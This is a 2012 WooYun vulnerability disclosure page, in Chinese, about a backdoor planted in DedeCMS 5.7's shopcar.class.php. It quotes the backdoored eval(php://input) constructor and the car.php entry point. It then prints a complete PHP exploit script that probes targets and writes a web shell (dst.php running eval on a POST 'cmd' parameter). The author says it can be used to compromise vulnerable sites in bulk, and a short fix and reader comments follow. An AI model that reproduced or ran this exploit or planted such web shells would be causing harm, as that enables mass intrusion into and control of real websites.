当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2012-05496

漏洞标题: dedecms 5.7 一句话后门利用

相关厂商: dedecms

漏洞作者: 小逸

提交时间: 2012-03-23 17:25

公开时间: 2012-03-23 17:25

漏洞类型: 命令执行

危害等级: 高

自评Rank: 10

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-03-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

前段时间乌云爆料DEDE5.7爆出shopcar.class.php包含一句话木马,@eval(file_get_contents('php://input'));。详情可查看乌云http://www.wooyun.org/bug.php?action=view&id=5416。此EXP可激活此版本中的一句话后门。

详细说明:

前段时间乌云爆料DEDE5.7爆出shopcar.class.php包含一句话木马,@eval(file_get_contents('php://input'));。详情可查看乌云http://www.wooyun.org/bug.php?action=view&id=5416。此EXP可激活此版本中的一句话后门。

class MemberShops

{

var $OrdersId;

var $productsId;

function __construct()

{

$this->OrdersId = $this->getCookie("OrdersId");

if(empty($this->OrdersId))

{

$this->OrdersId = $this->MakeOrders();

}

@eval(file_get_contents('php://input'));

}

function MemberShops()

{

$this->__construct();

}shopcar.class.php 文件中只有一个 MemberShops 类,构造函数里面出现了后门,当类被实例化的时候就会自动执行构造函数,程序猿你懂的。。。



eval 执行和 file_get_contents 获取内容不用说了,php://input 这个是输入流,接收的是 post 内容,但是 post 类型不能为 multipart/form-data



在 eclipse 里搜索 new MemberShops, 找到 /plus/car.php 里面实例化了这个类,



require_once (dirname(__FILE__) . "/../include/common.inc.php");

define('_PLUS_TPL_', DEDEROOT.'/templets/plus');

require_once(DEDEINC.'/dedetemplate.class.php');

require_once DEDEINC.'/shopcar.class.php';

require_once DEDEINC.'/memberlogin.class.php';

$cart = new MemberShops();



大家关心的都是漏洞利用而不是漏洞出现的原因,现在我附上EXP可以批量拿这些DEDE站。

注意 前天 3.21中午 DEDE已经把此版本中的后门清空了,此EXP只能拿官方清空以前从官网下载了5.7版本安装的网站,希望大家注意。特别说明:在舞林给出的exp的基础上修改而来!使自定义目标网站和目录更方便。

漏洞证明:

<?php

$host=$argv[1];

$path=$argv[2];

$path=$path."plus/car.php";

$url=$path;

if(count($argv) < 3 ){

print_r('

Usage: php '.$argv[0].' host path

Example:

php '.$argv[0].' www.site.com /dede/

作者:舞林 http://t.qq.com/wulinlw

修改:小逸

');

exit;

}

$data='$a=${@phpinfo()};';

$buffer = POST($host,80,$url,$data,30);

preg_match("/allow_url_fopen/i", $buffer, $arr_suc);



$str="allow_url_fopen";

if($arr_suc[0]==$str) {

echo "Congratulations,target exist this bug.\n";

$data='$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};';

$buffer = POST($host,80,$url,$data,30);

echo "shell:http://$host$argv[2]plus/dst.php,pass:cmd.";

}

else {

echo "Sorry,target may not exist this bug.";

exit;

}

function POST($host,$port,$path,$data,$timeout, $cookie='') {

$buffer='';

$fp = fsockopen($host,$port,$errno,$errstr,$timeout);

if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno);

else {

fputs($fp, "POST $path HTTP/1.0\r\n");

fputs($fp, "Host: $host\r\n");

fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");

fputs($fp, "Content-length: ".strlen($data)."\r\n");

fputs($fp, "Connection: close\r\n\r\n");

fputs($fp, $data."\r\n\r\n");



while(!feof($fp))

{

$buffer .= fgets($fp,4096);

}

fclose($fp);

}

return $buffer;

}

?>

修复方案:

删除shopcar.class.php文件中的,@eval(file_get_contents('php://input'));。

版权声明:转载请注明来源 小逸@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2012-03-23 17:33 | 东子 ( 路人 | Rank:4 漏洞数:2 | 每个黑阔都有点神经,这是为什么呢)
    3

    楼主这洞不是你发现的吧。网络上都疯传了

  2. 2012-03-23 18:21 | 大肠 ( 路人 | Rank:0 漏洞数:1 | 入侵研究 seo技术)
    0

    这个漏洞 也是比较新的才有 最近才被植入的

  3. 2012-03-23 23:32 | CplusHua ( 普通白帽子 | Rank:264 漏洞数:37 | 乌云奖金:-1)
    0

    终于知道我的主机商为什么不接dedecms的站点了,其安全性着实令人担忧啊。

登录后才能发表评论,请先 登录